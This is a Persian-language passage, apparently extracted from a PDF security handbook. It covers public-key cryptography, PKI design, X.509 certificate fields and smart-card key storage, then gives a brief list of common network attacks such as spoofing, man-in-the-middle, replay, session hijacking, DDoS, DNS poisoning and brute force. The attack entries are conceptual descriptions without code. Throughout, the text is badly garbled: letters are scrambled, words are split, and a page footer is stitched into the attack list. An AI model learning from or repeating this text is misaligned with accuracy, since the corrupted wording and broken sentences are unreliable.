اربر را                        برای ایجاد خاصيت احراز هویت می     . پيدا کند  د عمومی آن ک ه کلي ردی ک ا هر ف ود ت توان پيام را توسط کليد خصوصی رمز نم
وق احراز شود   ا  دار ه   . است بتواند رمز را باز نموده و در نتيجه هویت کاربر ف ه در عمل ب د خصوصی        البت تن، توسط کلي جای اینکه م

ا   شود و سپس جمع  ایجاد می)  بيت١٢٨ مثلا (آزما با طول ثابت  ، یک جمع)hash function(، توسط یک تابع در هم ساز رمز شود آزم
  .شود رمز می

  
  
   ننا متقارهای رمزنگاری متقارن و   مقایسه الگوریتم-

  
وی در شبکه      ب. های مختلفی قابل مقایسه هستند      های رمزنگاری متقارن و نا متقارن از جنبه         الگوریتم اد امنيت ق ا توجه به اینکه هدف ایج

  .باشند های سيستم، دارای اهميت بيشتری می باشد لذا امنيت، سادگی و همچنين افزایش توانایی اینترنت می
  

ر اساس یک          سيستم. های متقارن و نا متقارن را مقایسه نمود از لحاظ امنيت مشکل می توان سيستم   دتا ب ارن، عم ا متق ساله  های رمز ن م
سایل      . باشد  اند و تا وقتی آن مساله ریاضی حل نشده، سيستم دارای امنيت لازم می               سخت ریاضی بنيان نهاده شده     به عنوان مثال یکی از م

ستم     . باشد  های رمز بر آن استوار هستند مساله تجزیه اعداد بزرگ می            ریاضی که سيستم   ا       با توجه به اینکه در سي ارن، ب ا متق های رمز ن
ستم   شود لذا اینگونه سيستم    بزرگ کار می   اعداد ا سي ایينی برخوردار هستند          ها در مقایسه ب سبتا پ ارن معمولا از سرعت ن   .های رمز متق

ایی                با وجود سرعت نسبتا کم الگوریتم      ا و توان ا آنه ار ب ارن، سادگی ک راهم می         های نا متق ه ف ایی ک تفاده از یک         ه رای اس ا را ب د آنه آورن
ع      تر از الگوریتم  های نا متقارن، راحت کليدهای استفاده شده در الگوریتم   . نمایند  گير جذب می    سيستم بزرگ و همه    ل توزی ارن قاب های متق

اط امن داشته                             nاگر فرض کنيم در شبکه       . هستند ا یکدیگر ارتب ارن ب د توسط الگوریتم متق اربران بخواهن ه ک اربرد وجود دارد و هم  ک
تفاده      . باشد که بين هر دو کاربر به اشتراک گذاشته شده است  می کليدn (n-1/(٢ باشند، نياز به  ارن اس ا متق در مقابل، اگر از الگوریتم ن
اربر         در ضمن چون در الگوریتم    . باشد  نياز می ) عمومی و خصوصی  ( زوج کليد    nشده باشد، به     د عمومی هر ک ا کلي های نا متقارن، تنه

وری  ر خلاف الگ ذا ب ود ل ع ش بکه توزی د در ش د تمبای ستی کلي ا بای ه در آنه ارن ک ای متق ن  ه ه طور ام ا ب ه(ه وند، در ) محرمان ع ش توزی
  .های نا متقارن مشکل اساسی وجود ندارد الگوریتم

  
  
   سازماندهی یک ساختار کليد عمومی-

  
های حفاظت در     ين روش ، جزو اول    )firewall( شود که دیوار آتش       ی اخير دیده می     با مروری بر روند اعمال امنيت شبکه در چند دهه         

وذگرا های تشخيص  سيستم.  است شبکه بوده  Virtual(  مجازی  -های خصوصی    و شبکه  ) Intrusion Detection Systems ( ننف
Private Networks ( تند ود گذاش ه عرصه وج ا ب ز پس از آن پ ا اصطلاحا  . ني ومی و ی د عم اختار کلي ونی س ، (PKI(در عصر کن

Public Key Infrastructureعنوان بهترین روش برای اعمال امنيت در شبکه شناخته شده است  به.  
  

اربر دارای      در این قسمت قصد بر این است که ملزومات طراحی و سازماندهی یک ساختار کلی برای شبکه اینترنت بيان شود که هر ک
وز          با وجود اینکه ام   . های نا متقارن باشد     یک زوج کليد مربوط به یکی از الگوریتم        روزه ساختار کليد عمومی بسيار مطرح است ولی هن

روش می        شاهد استفاده از روش    يم  های قدیمی در شبکه اینترنت برای بسياری از کارهای حساس و حتی خرید و ف ه  . باش ه ب ل عدم    البت دلي
  .شود  و کارا احساس میهای فوق و پيروی نکردن از یک ساختار کلی و استاندارد، نياز به یک سيستم هماهنگ هماهنگی در روش

  
   مشکلاتی که در شبکه اینترنت وجود دارد-

  
سناریویی را در نظر بگيرید که در . باشد ی ضعف شبکه اینترنت است؛ پست الکترونيکی می هایی که نشان دهنده ترین مثال یکی از ساده

اربر  ا Aآن ک ه ک ی ب ست الکترونيک ال پ صد ارس د.  را داردB ربر ق ه از مب ی نام یوقت ا م ر   ا ره شت س ره را پ دین گ ولا چن ود معم ش
ی     ادر این ارسال مشکلات فر  . رسد   می Bگذارد و نهایتا به گروه مقصد یعنی کاربر           می اق ب ی ممکن است اتف ا      وان رین آنه ه مهمت د ک افتن

  :عبارتند از
  
ود       را Bتوان آدرس کاربر      اگر ایجاد ارتباط فقط از طریق اینترنت ممکن است پس چگونه می           ) ١  ئن ب ه مطم ه طوری ک به دست آورد ب

  آدرس صحيح است؟
  
  اند و پيام محرمانه باقی مانده؟ بازبينی نشده) های عبوری گره(توان اطمينان حاصل نمود که پيام ارسالی در بين راه  چگونه می) ٢ 
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ده     چگونه هویت فرستنده  ) ٣  ام احراز می    ی پيام توسط گيرن ه   ی پي ردد؟ ب اربر    گ ارت دیگر، ک وق      B عب ام ف ه پي د ک ا بفهم اً  از کج  از واقع

   ارسال گردیده؟Aطرف کاربر 
  

ق     ات از طری ال اطلاع ود دارد؛ انتق ت وج بکه اینترن ون در ش م اکن ه ه ی ک شکلات اساس ر از م ی دیگ ی FTP ،HTTPیک  و حت
TELNET ع می      اند که تا حدی اینگ       ها و ابزارهای تکميلی ساخته شده       ای از سرویس    البته گونه . باشد   می ه مشکلات را رف ی    ون د ول نماین

انگی و احراز هویت   (شود که اطلاعات رد و بدل شده در شبکه اینترنت بدون امنيت           هنوز مکررا دیده می    ده     می ) محرم ی دی باشد و حت
اده در شبکه ارسال می           TELNET و یا    FTPهای    شود که مثلا کلمه عبور استفاده شده در پروتکل          می  هر  شود و توسط    به صورت س

  .باشد فردی قابل کپی برداری می
  

رای کارهای                مهمترین مشکلی که شبکه اینترنت با آن دست به گریبان است؛ عدم یک سيستم و ساختار کلی جهت ایجاد ارتباطات امن ب
روش ک           در حال حاضر بسياری از شرکت     . باشد  حساس از قبيل تجارت الکترونيکی می      الاهای خود    ها از طریق شبکه اینترنت اقدام به ف

سياری از                         اند که عمدتا به کالاهای ارزان قيمت محدود می          نموده ا ب ده و ثاني اربران بوجود نيام ين ک اد لازم ب وز اعتم را اولا هن شوند، زی
  .های استفاده شده، از امنيت کافی برخوردار نيستند پروتکل

  
  
  کارهای امنيتی   راه-

  
ال   . نيت در شبکه اینترنت انجام شده استاز سالها قبل، کارهای زیادی برای ایجاد ام وان مث  PGP ،SFTP ،SHTTP ،Secureبه عن

Shell   و Kerberos ه   یک قابليت اند، ولی هيچ های عملی هستند که مورد استفاده قرار گرفته    نمونه ستم هم ا    های لازم برای یک سي ر ب گي
  .های لازم برای نيازهای جدید کاربران اینترنت را ندارند توانایی

  
تاندارد                     هایی که می    یکی از معروفترین استاندارد    ورد نظر شود، اس ی م ه ساختار کل د منجر ب ه    . باشد   می X.509توان تاندارد ک ن اس ای

رای          ISO/ITUتوسط   تاندارد       PKI تهيه شده، جهت ایجاد یک چارچوب ب ر اس ی ب ه شده است و مبتن تاندارد  . باشد   می X.500 ارائ اس
X.500دایرکتوری  برای ایجاد سرویس  )Directory service ( های بزرگ کامپيوتری ارائه گردیده است برای شبکه.  

  
دیمی         به X.509استاندارد   وان یکی از ق د عمومی در سال         عن ر کلي ی ب رین ساختارهای مبتن ه متعاقب آن،      ١٩٨٨ ت يلادی ظاهر شد ک  م

ه و     ها و پروتکل عضی از سيستماین استاندارد هم اکنون در ب   .  نيز ارایه شدند   ٣  و   ٢ های    نسخه رار گرفت تفاده ق  SSL و SETها مورد اس
واهی صادر می                . برند   می  نيز از آن بهره    اربر، یک گ رای هر ک ق می      در این استاندارد ب ه از آن طری سياری از نيازهای     شود ک وان ب ت

ود     واهی     . امنيتی را برطرف نم د گ ار         ) Certification( تولي ين اعتب از در          ) Validation( و عمل تعي  PKIدو عامل اصلی موردني
واهی       ) یا شرکت(هدف در عمل اول ایجاد ارتباط بين کاربر  . باشند  می ار گ ين اعتب ز هدف، تعي و کليد عمومی آن بوده و در عمل دوم ني
  .باشد می
  
   PKI خصوصيات -

  
ه   افزار، کاربران، سياست     نرم افزار،  ی سخت   توان به صورت مجموعه      را می  PKIبا توجه به مطالب ذکر شده،        ا و روی رای     ه ه ب ایی ک ه

  .باشند تعریف نمود ایجاد مدیریت، ذخيره، توزیع و انهدام گواهی مبتنی بر رمزنگاری با کليد عمومی مورد نياز می
  

  :باشند عبارتند از  مورد نياز میPKIخصوصياتی که در یک سيستم 
  
  .مانگی محتوای پيام و عدم امکان شناسایی گيرنده و فرستنده پيام توسط نفر سومشامل محر): Confidentiality(محرمانگی ) ١ 
  
ام                      شامل دست ): integrity(تماميت  ) ٢  سخه پي نخوردگی پيام، اطمينان از رسيدن پيام به مقصد و اطمينان از عدم دریافت بيش از یک ن

  .توسط گيرنده
  
ت ) ٣  راز هوی ان ): authentication(اح امل اطمين ی  ش شان م ام ن ه پي د ک ده باش ال ش سی ارس ده، از ک ت ش ام دریاف ه پي د و  از اینک ده

  .کند که فرستنده مدنظر دارد اطمينان از اینکه پيام ارسال شده را کسی دریافت می
  
ام و عدم امکان انکار ارسال     ): non - repudiation(عدم انکار ) ٤  ام، توسط   شامل عدم امکان انکار دریافت پيام، توسط گيرنده پي  پي

  .فرستنده پيام
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  .شامل وجود قوانين مدون و منابع مورد اطمينان و همچنين امکان دنبال کردن و ثبت خطا در روند سيستم): control(کنترل ) ٥ 
  
  .اطمينان از فعال بودن سيستم در تمام اوقات): availability(در دسترس بودن ) ٦ 
  
  
   نحوه توزیع کليد عمومی-

  
  

  :وجود جهت توزیع کليد عمومی یک کاربر عبارتند ازهای م روش
  
  .ارسال مستقيم توسط کاربر) ١ 
  
  .ذخيره در دفترچه تلفن) ٢ 
  
  .ذخيره در یک گره که با احراز هویت، قابل دریافت باشد) ٣ 
  
  .استفاده از گواهی) ٤ 
  

ين می         ارم از دیگر روش       با یک بررسی مختصر مع ه روش چه ر است    شود ک ا بهت ر . ه ع       زی د در موق ا ضمن اینکه هویت صاحب کلي
  .شود نيز جلوگيری می) bottle - neck(های خاص  باشد، از ایجاد ترافيک در گره دریافت کليد عمومی قابل احراز می

  
   مطلوبPKI طرح اصلی یک -

  
ورد بررسی      کامل و امن، نياز است که ابزارهای آن با دقت انتخاب شده و مشکلات احت              PKIبرای طراحی یک سيستم      ا م الی آن دقيق م

د عمومی می                . قرار گيرند  ع کلي ستمی، توزی ين سي ن           یکی از ابزارهای اصلی در چن ل، ای سمت قب ه ق وط ب ق توضيحات مرب ه طب باشد ک
  .باشد سرویس توسط گواهی قابل حل می

  
  
   گواهی برای کاربران سيستم-

  
از می           ارت     حداقل اطلاعاتی که در یک گواهی مورد ني ند عب نامه   باش د عمومی صاحب       است از اطلاعات شناس واهی، کلي ای صاحب گ

واهی   ای صادر گواهی، اطلاعات شناسه ده   ) CA:Certificate Authority(کننده گ واهی  و امضای صادر کنن ه اینکه     . ی گ ا توجه ب ب
رای    ها یک صادرکنند  توان انتظار داشت که تن باشد لذا نمی این طرح یک طرح ملی بوده و قابل گسترش در سطح جهانی می         واهی ب ی گ

د  ته باش ود داش اربران وج ام ک صورت     روش. تم ب ب سله مرات ه روش سل ود دارد ک شکل وج ن م ل ای رای ح ی ب ای مختلف  - crossه
reference   ن روش یک صادرکننده       . شود   ترین روش در نظر گرفته می        به عنوان مطلوب اربران             در ای ه ک ه کلي ه وجود دارد ک ی اولي
واهی یک                     . ا گروه به آن اطمينان دارند     یک جامعه ی   ه شده، امکان آسان و امن احراز هویت گ دليل اینکه چنين ساختاری در نظر گرفت

ه صادرکننده                 . باشد  کاربر توسط کاربران دیگر می     ستقيما ب ومی، م د عم د هر کلي رای تائي اربر ب ی آن  در روش فوق نياز نيست که هر ک
  . کليد مراجعه نماید

  
  
  ی تعيين اعتبار گواهی کاربران   نحوه-...
  

د         طبق ساختار سلسله مراتبی که در قسمت قبل بيان شد، هر کاربر می             ا رد نمای اربر دیگر را احراز و ی ن   . تواند به راحتی هویت ک ا ای ب
ستم            ان م              وجود به دليل اینکه امنيت کليدهای استفاده شده در سي ين زم دار مصرف آن و همچن ابع مق ذا لازم    یهای رمزنگاری، ت باشد، ل

واهی                       . ها پس از مدتی عوض شوند      است کليد  اریخ انقضای گ اربران منظور شود، ت واهی ک د در گ بنابراین یکی دیگر از اقلامی که بای
  .گردد نگاری محاسبه می باشد که بر اساس متوسط زمان استفاده از کليد رمز می
  

ل را حل می              ن قبي ی اگ       این روش، مشکلاتی از ای د ول اربر            نمای ا ک انگی خارج شود و ی اربری از محرم د خصوصی ک ی، کلي ه دليل ر ب
ار ساقط می                  دیمی               تقاضای گواهی جدید نماید آنگاه کليد رمزنگاری قدیمی آن کاربر از درجه اعتب واهی ق وز گ ه هن شود؛ در صورتی ک

واهی            . بر ممکن است اعتبار داشته باشد     رکا ار ساقط شده              برای حل این مشکل از یک ليست شامل شماره گ ) CRL(های از درجه اعتب
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بدین ترتيب اگر کار مهمی مانند انجام یک قرار داد مهم در حال انجام باشد              . اعتبار، قابل پيشگيری باشد     های بی   کنيم تا گواهی    استفاده می 
ه جست  ) توسط گواهی امضا شده(لازم است که کاربران پس از احراز هویت یکدیگر        ئن     وجو در ليست ف    اقدام ب ا مطم د ت ز بنماین وق ني

  .ها باطل نشده باشند شوند که گواهی
  
   محتویات گواهی-

  
  

تاندارد                  ق اس اربران را طب واهی ک انی، گ تانداردهای جه ا      X.509جهت سازگاری با اس تاندارد، یک        . يمی تعریف می نم ن اس براساس ای
  :باشد گواهی دارای اقلام زیر می

  
ده عددی صح :  نسخه استاندارد    شماره -١ سخه  يح که نشان دهن تاندارد می   ی ن ده است       ای از اس تفاده گردی واهی اس ه در گ در حال  . باشد ک

  .باشد  می٣حاضر بالاترین نسخه، 
  
ا شماره شناسایی        ی گواهی هيچ    شود که یک صادرکننده     باشد و فرض می     شماره شناسایی گواهی می   :  شماره شناسایی  -٢ واهی ب گاه دو گ

  .نماید یکسان صادر نمی
  
  .پردازد ی گواهی برای امضا کردن می ای است که به تعيين الگوریتم صادرکننده شناسه:  شماره شناسایی الگوریتم امضا-٣
  
  .X.500نام صادر کننده گواهی طبق استاندارد : ی گواهی  نام صادر کننده-۴
  
  .شامل تاریخ شروع و خاتمه اعتبار گواهی:  تاریخ اعتبار-۵
  
  .X.500نام صاحب گواهی طبق استاندارد : ی نام صاحب گواه-۶
  
رای     تای که الگوری  شامل شناسه : کليد عمومی صاحب گواهی    -٧ ا آن الگوریتم ب اظر ب م نا متقارن استفاده شده و همچنين کليد عمومی متن

  .صاحب گواهی را معين نماید
  

واهی می                ند   اقلام ليست شده در بالا حداقل اطلاعات لازم در یک گ ده    در  . باش ام صادر کنن الا ن ق       ب واهی، طب ام صاحب گ واهی و ن ی گ
تاندارد  یX.500اس شابه آدرس وب         م ی م ق فرمت اربر طب ی ک سله مراتب ات سل امل اطلاع ام، ش ودن ن ا ب ت یکت ه جه د ک ) URL(باش

رار می       X.500موارد اصلی که در فرمت      . باشند  می تفاده ق اربر، مکان، سازما                مورد اس ام ک د شامل کشور، ن ن و واحد سازمانی   گيرن
  .باشند می
  

تاندارد          X.509ی دوم از استاندارد       در نسخه  ا              X.500 به دليل اینکه ذخيره نام، طبق اس ه طور یکت اربر را ب شه یک ک  ممکن است همي
ده ، لذا برای هر یک از صادر  )مثلا وقتی کاربری از شرکتی اخراج شده و کاربر جدیدی با همان نام استخدام شده  (معين ننماید    های    کنن

  .گواهی و صاحب گواهی یک شناسه یکتا در نظر گرفته شده است
  
   روش محافظت از کليد خصوصی کاربران-

  
اگر  . باشد  هایی که باید به طور جدی مورد توجه قرار گيرد؛ اطمينان از محرمانگی کليد خصوصی کاربران می یکی از مهمترین قسمت  

ار             اربر توسط ک ا                         به نحوی کليد خصوصی یک ک ستم رمزنگاری ن ه توسط سي ایی ک ه کاره رد، کلي رار گي ورد شناسایی ق بر دیگری م
ود              متقارن امکان  د ب ام خواه ل انج ه           . پذیر است، توسط کاربر فوق قاب اربری ک رای ک انگی، عدم انکار و احراز هویت ب ابراین محرم بن

  .کليدش کشف شده زیر سوال خواهد رفت
  

اربر یک زوج                      رای یک کاربر عملی می    ای که در این سيستم ب       اولين مرحله  ه ک از است ک ه ني ن مرحل ه در ای واهی است ک شود؛ ایجاد گ
تفاده              بسته به اینکه سياست   . کليد رمزنگاری داشته باشد    د اس های اعمال شده در سيستم چگونه باشد، یکی از دو روش زیر برای توليد کلي

  :شوند می
  
اربر   ) ١ ار  : توليد کليد توسط ک ن روش ک د             در ای وده و سپس کلي د نم رای خود تولي د ب ان، یک زوج کلي ورد اطمين بر توسط ابزارهای م

اربر  . دهد ی گواهی جهت صدور گواهی ارائه می   عمومی خود را به همراه مدارک مورد تایيد صاردکننده         حسن این روش این است که ک
ان دارد                د خصوصی خود صد در صد اطمين ن وجود ممکن       . از محرمانگی کلي ا ای ورد        ب زار م ی اب د براحت اربران عادی نتوانن  است ک
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اربر                ا هویت ک ه حتم از است ک اطمينان برای توليد زوج کليد را فراهم آورند و همچنين برای انتقال کليد عمومی جهت صدور گواهی ني
  .کننده گواهی احراز گردد توسط صادر

  
د می          کننده  در این روش صادر     :کننده گواهی  توليد کليد توسط صادر   ) ٢ تفاده از          گواهی ابتدا زوج کليد کاربر را تولي ا اس د و سپس ب نمای

د خصوصی   . شوند سپس گواهی و کليد خصوصی کاربر به وی داده می. گردد کليد عمومی فوق، یک گواهی صادر می    در این روش کلي
اربر می                رین روش حضور فيزیکی ک اربر داده شود و بهت ه ک ه ب ن روش، امکان قابليت     ح . باشد  باید به صورت محرمان سن اساسی ای

ستم می  ) Key Pecovery(کشف کليد  ورد           . باشد  در سي ستم، م اربران توسط سي د خصوصی ک ا وجود اینکه امکان کشف کلي ه   ب علاق
از یک سازمان     به. باشد، ولی در بسياری از موارد این خاصيت ضروری است کاربران نمی  عنوان مثال اگر کاربری اطلاعات مورد ني

د خصوصی می          را دا         رمز کرده باشد و سپس از سازمان اخراج گردد، در صورت امکان کشف کلي وق دسترسی پي ه اطلاعات ف وان ب ت
ه صورت محافظت شده                             . کرد واره ب د هم اربر بای مستقل از اینکه کداميک از دو روش فوق در سيستم استفاده گردند، کليد خصوصی ک

  .باقی بماند
  

  :ن به این هدف عبارتند ازچهار راه اصلی برای رسيد
  
رین روش  در این روش که یکی از مشهورترین و پراستفاده   : رمز، توسط کلمه عبور   ) ١ ا می   ت ه        ه د خصوصی توسط یک کلم باشد، کلي

  .شود های مشابه ذخيره می شود و سپس به صورت فایل برروی دیسک و یا دستگاه عبور رمز می
  
ارت         در: دار  های حافظه   ذخيره در کارت  ) ٢  د خصوصی در ک ا حافظه محافظت شده           این روش کلي ور    (های ب ه عب ) معمولا توسط کلم

  .شود شود و در موقع نياز، به حافظه رایانه منتقل شده و پس از استفاده دور ریخته می ذخيره می
  
با . شود  ذخيره کليد استفاده می  باشند جهت   های هوشمندی که دارای پردازنده می       در این روش از کارت    : های هوشمند   ذخيره در کارت  ) ٣

  .کند شود، کليد خصوصی هيچگاه کارت را ترک نمی فرض اینکه قسمتی از الگوریتم رمزنگاری، داخل کارت انجام می
  
ره در دستگاه  ) ۴ وذ      ذخي ل نف املا غيرقاب ن روش از دستگاه  ): Truly attack – resitant  devices(های ک های خاصی جهت     در ای

  .باشند می) از نظر نفوذ پذیری توسط دشمن(های هوشمند  تر از کارت شود که بسيار امن استفاده میذخيره کليد 
  

ستم در                    روش اول به دليل اینکه کلمه عبور، معمولا قابل حدس زدن می             رای یک سي د ب اربر آن را فراموش کن ا ممکن است ک باشد و ی
ل         ها  با مقایسه روش  . رسد   جالب به نظر نمی    PKIسطح بزرگ    ه منتق ه حافظه رایان د خصوصی ب ل اینکه کلي ی دیگر، روش سوم به دلي

راهم می             می وذگران ف اربر را وادار می          . سازد   شود، بسياری از حملات را توسط نف ز ک ارم ني ده         روش چه ه توليدکنن ا ب د ت ی دستگاه   نمای
ام   های اضافی را ام  اطمينان دهد که مطلوب نيست؛ زیرا مثلا دستگاه ممکن است پيام     ا پي د و ی ره     های رمز   ضا نمای شده را در خود ذخي

  .نماید
  

د خصوصی در جاهای مختلف می                    یکی از مهمترین خصوصيات کارت     تفاده از کلي در عصر ارتباطات     . باشد   های هوشمند، امکان اس
تفاده ن               امروزی نمی  ا شبکه اینترنت اس اط ب رای ارتب ه ب ا حمل      توان انتظار داشت که کاربر هميشه از یک رایان اربر ب ابراین ک د و بن مای

ارت  ( ای که به شبکه اینترنت متصل است          تواند از هر نقطه     کارت هوشمند خود می    اد    ) است ا خوان را دار  و دستگاه ک اط امن ایج ارتب
  .نماید

  
د     مناسب میPKIکارت هوشمندی که برای      ه کلي اربر   باشد کارتی است که در آن قسمتی از الگوریتم رمزنگاری که نياز ب خصوصی ک

ارت خارج شود            دارد در کارت پياده سازی شده است و در نتيجه هيچ           د خصوصی از ک ارت  . گاه نياز نيست که کلي ه ک ا معمولا    اینگون ه
تفاده نباشد       محافظت می) PIN(توسط یک شماره شناسایی شخصی       ل اس رد غيرمجاز برسد، قاب . شوند تا اگر کارت به دلایلی به دست ف

  :شوند، عبارتند از  ر کارت ذخيره میاطلاعاتی که د
  
  کليد خصوصی کاربر) ١
  
  )کننده گواهی امضا شده توسط صادر(گواهی کاربر ) ٢
  
  ) root(کننده گواهی اوليه  عمومی صادر کليد) ٣
  
  گيرند  و کاربر قرار میrootهای گواهی که بين  گواهی مربوط به کليه صادرکننده) ۴
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ه الگوریتم   بست یک شماره سریال برای هر کارت هوشمند در نظر گرفته شود و اطلاعات دیگری مر    علاوه بر موارد بالا ممکن ا      وط ب
  .ذخيره شده در کارت وجود داشته باشد

  
  
   مباحث تکميلی-

  
ستم           د می   PKIهای     لازم به ذکر است با وجود اینکه سي سيار مفي ز دارای محدودیت       ب ا ني ی آنه ند ول ایی می   باش ند  ه وان  . باش ه عن ال  ب  مث

های  البته چنين اعتمادی دور از ذهن نيست، زیرا در سيستم        . اعتماد کنند ) جهت امضای گواهی  (کننده گواهی    کاربران باید به یک صادر    
وده است               های غيرشبکه   قدیمی و حتی سيستم    ستم ب اد، جزو ملزومات سي واره اعتم ز هم ده       . ای ني انکی، دارن ستم ب ال در سي وان مث ه عن ب

  . سيستم بانکی اعتماد داشته باشدحساب باید به
  

اربر        . باشد  یکی از نکات مهم و اساسی در ساختار طراحی شده، اعتماد به امنيت کارت هوشمند می                به عنوان مثال اگر کليد خصوصی ک
  .افتد ، مورد دسترسی غير مجاز قرار گيرند، امنيت سيستم به خطر میrootکننده گواهی اوليه  و یا کليد عمومی صادر

  
اربران می          شود که الگوریتم    در طرح ذکر شده فرض می      ابراین ک د از   های رمزنگاری با شماره شناسایی، قابل تشخيص هستند و بن توانن

د     همچنين در گواهی می   . های دلخواه خویش استفاده نمایند      الگوریتم وان فيل از می              ت ه ني سته ب ابراین ب ر داشت و بن واهی    های متغي وان گ ت
  .به عنوان نمونه گواهی رانندگی، گواهی تحصيلی و غيره. خاصی ایجاد کرد

  
رد   هر گونه امضایی که با کليد خصوصی او انجام گرفته باشد را به عهده می   تمسئوليشود که کاربر،      در سيستم فرض می    التی را  . گي ح

ه می   در نظر بگيرید که کاربری متنی را امضا نموده و سپس تاریخ انقضای کليد رمزنگاری او به س          ده، چگون ين امضایی     ر آم وان چن ت
اربر     را تایيد کرد؟ به عنوان راه اول می    واهی ک واره گ ه صادر    (توان هم وط ب واهی   و اطلاعات مرب ده گ راه امضای وی    ) کنن ه هم را ب

ا     به عنوان راه دوم می   . های قدیمی نيز قابل پيگيری باشند      نگهداری نمود و در نتيجه امضا      ه ک د عمومی کلي ی ابطال   (ربران توان کلي حت
  .را در یک ليست در سيستم نگهداری کرد تا در موقع بروز شکایت، قابل پيگيری باشند) ها شده
  
  
   نتيجه گيری -

  
  

ی شبکه در سطح                                رای هماهنگ کردن ساختار امنيت ارا ب يله ک در این مقاله استفاده از الگوریتم رمزنگاری نا متقارن به عنوان یک وس
راهم کردن سرویس   بزرگ مورد بررسی قر    ه شد         ار گرفت و یک طرح کلی برای ف انگی، احراز هویت و عدم انکار ارائ . های محرم

  . آورد های فوق را فراهم می راحتی امکان استفاده از سرویس ساختار ارائه شده به
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 به صورت فهرست وار راهنمای سريع حملات رايج در شبکه و وب 
  

بخش حملات تحت  ه در دوکان شده است يه ها و مشخصات آنها بکج در شبی درباره حملات رایحي مختصر توضورقسمت به طن یدر ا
 . گرددیان ميه و حملات تحت وب بکشب

  

  هکحملات تحت شب
  

Back Door) یدر پشت(   
  

اربر نرم افزار ، از ک  بتواند بدون اطلاع صاحب نرم افزار ویسکه ک یبه هر معبر باز در نرم افزار، به طور         ·
  .  شودیگفته م  Back Doorند ، کستم نفوذ يرده و به داخل سکآن عبور 

  

·         Back Doorن امر باعث ي شود و همیننده نرم افزار ، به صورت باز رها مکجاد یل عدم توجه اي ها اغلب به دل
  .ندنکز از آن سوءاستفاده يگران نیننده ، دکجاد ی شود علاوه بر ایم

  

Spoofing  
  

  وتر ها يامپکر مجار به ي غی دسترسی است برايکینکت         ·

  . ندک یدا ميوتر مورد اعتماد را پيامپک یک IPر ابتدا آدرس که         ·

رده و خود را مورد اعتماد ک یستم قربانير شروع ارسال اطلاعات به سکن اطلاعات هیپس از به دست آوردن ا         ·
  ! )  زندیوتر مورد اعتماد جا ميامپک یک یخود را به جا ( ندک یوانمود م

 به آنها یه در حالت معمول ، مجاز به دسترسکند ک ی میافت اطلاعاتی ارتباط شروع به دریپس از برقرار         ·
  ستين

  

Man in the Middel  
  

  . ردي گی مه در حال تبادل اطلاعات هستند قرارکوتر يامپکن دو ينفوذگر ب         ·

  .  اطلاع باشندیوتر از وجود او بيامپکه دو کند ک ی را اتخاذ میبينفوذگر ترت         ·

 تواند آنها را یند و هم مکافت ی تواند آنها را دری هم میعنی.  به اطلاعات داردیاملک یب دسترسين ترتیبه ا         ·
  . ل دهدی تحویر دهد و به نفر بعدييل خود تغيمطابق م

  .ن حمله قرار دارندی در معرض اWireless یستم هايس         ·

   

Replay  

  

 Replay حمله یک دارد ، یم بر مي سی را از روی اطلاعاتی بسته هاSnifferله ابزار ير به وسک هیک یوقت         ·
  رخ داده است 

 یلمات عبور را از درون آن استخراج مک و یاربرک یر اطلاعات مهم و نامهاکده شدند ، هی بسته ها دزدیوقت         ·
  . ندک
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ها به صورت  ا بدانیرند و ي گی خط قرار میبسته ها استخراج شدند ، دوباره بسته ها رو ه اطلاعات ازک یوقت         ·
  . شودین پاسخ داده ميدروغ

   

TCP/IP Hijacking  
  

  .  شودیه مز گفتين ) Session Hijacking(معمولا به آن جعل نشست          ·

  ن را به دست آورد ين دو ماشيب TCP تواند نشست یر مکه         ·

  .  باشدی ها مIPردن ک  Source-rout روش مشهور استفاده از یک         ·

·         Source-rout ی بسته هایعنیردن ک IPخاص بگذرندیريه از مسکم ير دهيي تغی را طور .  

  

Denial Of Service ) DOS (  وDistributed Denial Of Service ) DDOS(  
  

س به ی سرویکردن کاربران خارج کا از دسترس یس و ی سرویکار انداختن کن نوع حملات به منظور از یا         ·
  .  رودیار مک

و . ود شی م ا استفادهيدر سراسر دن ) Zompbie( وتر يامپک یادین نوع حملات ، از تعداد زیع شده اینوع توز         ·
 خاص از ی قربانیک ها به طور همزمان به Zompbieن ی دهد تمام ای دستور میننده اصلکه حمله ک یدر لحظه ا

  . نندک ید شده ، حمله مييش تعيپ

  ردک یحمله م...  و ISNA و IIRIB یتهایه پس از انتشار به ساک بود یرم دامبک آن یرانینمونه ا         ·

  

DNS Poisoning  
  

   پر شود ی شما با اطلاعات ناجورDNSل یه فاک است ین حمله هنگامیا         ·

 اشاره دارند ، یحي صحی هاHostه به ک را DNS یوردهاکه نفوذگر رک باشد ی میبه صورت ساده تر هنگام         ·
  . دهدیر ميي مورد نظر خود تغHostبه 

  

Social Engineering) ی اجتماعیمهندس(   
  

   قصد نفوذ دارد ی واقعیستم هاير به سکه هک دهد ی رخ می زمانیشتريب         ·

ه را کراه نفوذ به شب)  End User (ییاربر انتهاکه نفوذگر با استفاده از نقاط ضعف ک باشد ی میگر هنگامیراه د         ·
  . ندک یدا ميپ

ا تحت فشار ی اغفال آنها و یافراد برا یتي شخصیسوءاستفاده از نقاط ضعف افراد با به دست آوردن عادت ها         ·
  ر قرار دهدکار فرد هيه را در اختک نفوذ به شبیاز برايقرار دادن آنها تا اطلاعات مورد ن

  

Birthday  
  

   Brute-Force رده از حملات یک ی است برای نامBirthday حمله یک         ·

  دياندن آنها، اطلاع داشته باشکردن و شک  رمزید به روشهاین حمله شما بای فهم بهتر ایبرا         ·

  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٥٢٢    صفحه

Brute force  
  

  لمات رمز و به دست آوردن آنهاست کستن ک به شی روش برایک         ·

 یدا ميردن آنها رمز عبور را پکند و با تست ک ی استفاده میبکيحروف را به صورت تر  Brute-forceحمله          ·
  . ندک

  ر دادييلمات رمز را هر دفعه تغکا یرد و کاد انتخاب یلمات رمز با طول زکد ی روش بانی مقابله با ایبرا         ·

   

Dictionary  
  

  لمات رمز عبور است ک به دست آوردن ی روش برایک         ·

له يره شده اند و به وسيل ذخی فایکه در ک باشد یلمات معروف مک از ی در اصل لغتنامه اDictionaryلمه ک         ·
  رند ي گیلمات رمز ، مورد استفاده قرار مکستن ک شی ابزار برایک

  ه در لغتنامه وجود نداردکرد ک استفاده یلماتکد از ین حمله بای مقابله با ایبرا         ·

  

Software Explotation  
  

  ستم ي سیدهاک موجود در یه سوراخها و باگهايحمله عل         ·

